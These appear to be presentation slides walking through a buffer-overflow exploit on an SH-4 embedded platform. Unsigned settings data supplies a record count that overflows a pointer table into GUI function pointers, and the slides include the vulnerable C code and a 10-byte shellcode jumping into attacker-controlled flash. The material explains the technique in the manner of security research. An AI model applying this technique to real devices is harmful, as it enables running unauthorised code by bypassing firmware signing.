Software Exploit for running

unsigned code on an

SH-4 based platform

Looking for the weak link

The Setup

Flash Layout

Stage 1 uncompressed - signed Stage 2 zlib compressed - signed OS/Application zlib compressed - signed Settings - unsigned. Our playground.

Memory Layout

Simple flat linear 32-bit address space Memory is Read/Write/Execute Flash is Read/Execute No ASLR or other fancy stuff

I'll spare you the rough details

                  ...
             mov     r15,r1
             add     #18,r1
             mov.w   @r1,r1
             mov     r1,r2
             mov     r15,r1
             add     #-40,r1
             mov.l   @(44,r1),r1
             add     r2,r1
             mov.b   @r1,r2
             mov     #64,r1
             cmp/gt  r1,r2
                  ...

An interesting part of memory

// Somewhere in memory
struct record *table[0x500];


// Around 0x800 * 4 bytes later
struct {
        void (*do_a)(void);
        void (*do_b)(void);
        ...
} gui_func_ptrs;

// Structure of 12 bytes
struct record {
        unsigned int a, b, c;
};

Some interesting code part 1

        u8 *buffer = malloc(0x4000);
        memcpy(buffer, settings_flash, 0x4000);

        if(buffer[0] != 'G' || buffer[1] != 'H' ||
           buffer[2] != 'E' || buffer[3] != 'S' ||
           buffer[4] != 'T') {
                return;
        }

        buffer += 6;

        u16 number_of_records = (buffer[0] << 8) |
                                 buffer[1];
        u16 total_record_length = (buffer[2] << 8) |
                                   buffer[3];

Some interesting code part 2

        buffer += 4;


        for(i=0; i<number_of_records; i++) {
                table[i] = malloc(sizeof(struct record));
        }


        for(i=0, j=0; i<number_of_records &&
                      j<total_record_length;
                      i++, j+=sizeof(struct record))

                memcpy(table[i], buffer+j,
                                 sizeof(struct record));

We clearly have an issue

• Table can hold 1280 entries
• 16-bits indicate the number of records (65535)
• We control this as settings were unsigned data
• Buffer overflow! But can we use it to run code?

Of course! (sort of :)

Memory layout part 2

Zoom of record in "malloc" memory

Exploit code

10 bytes of exploit code

   0:   02 90           mov.w   8 ,r0     ! a07e
   2:   28 40           shll16  r0
   4:   0b 40           jsr     @r0
   6:   09 00           nop     

00000008 :
   8:   7e a0           bra     108 

Simple jump to 0xA07E_0000, which is part of flash we control

What really ends up @ ???

What really ends up @ ???, 2

• Some of our exploit code
• Some of the malloc bookkeeping data
• In most cases non-harmful stuff when executed
• Lucky sidenote: magic malloc marker is 0xAAAA_AAAB
• Encoding of branch: 1010dddd dddddddd

    1da0:       aa aa           bra     0x12f8
    1da2:       aa ab           bra     0x14fa

But in the end who cares when it works out!

• A little tweaking was necessary
• Inserting an extra nop in the exploit code
  Good thing we only used 10 bytes
• Program counter ends up at 0xA07E_0000
• Here we can put anything - unused part of flash
• Phew - that required some luck

Questions

???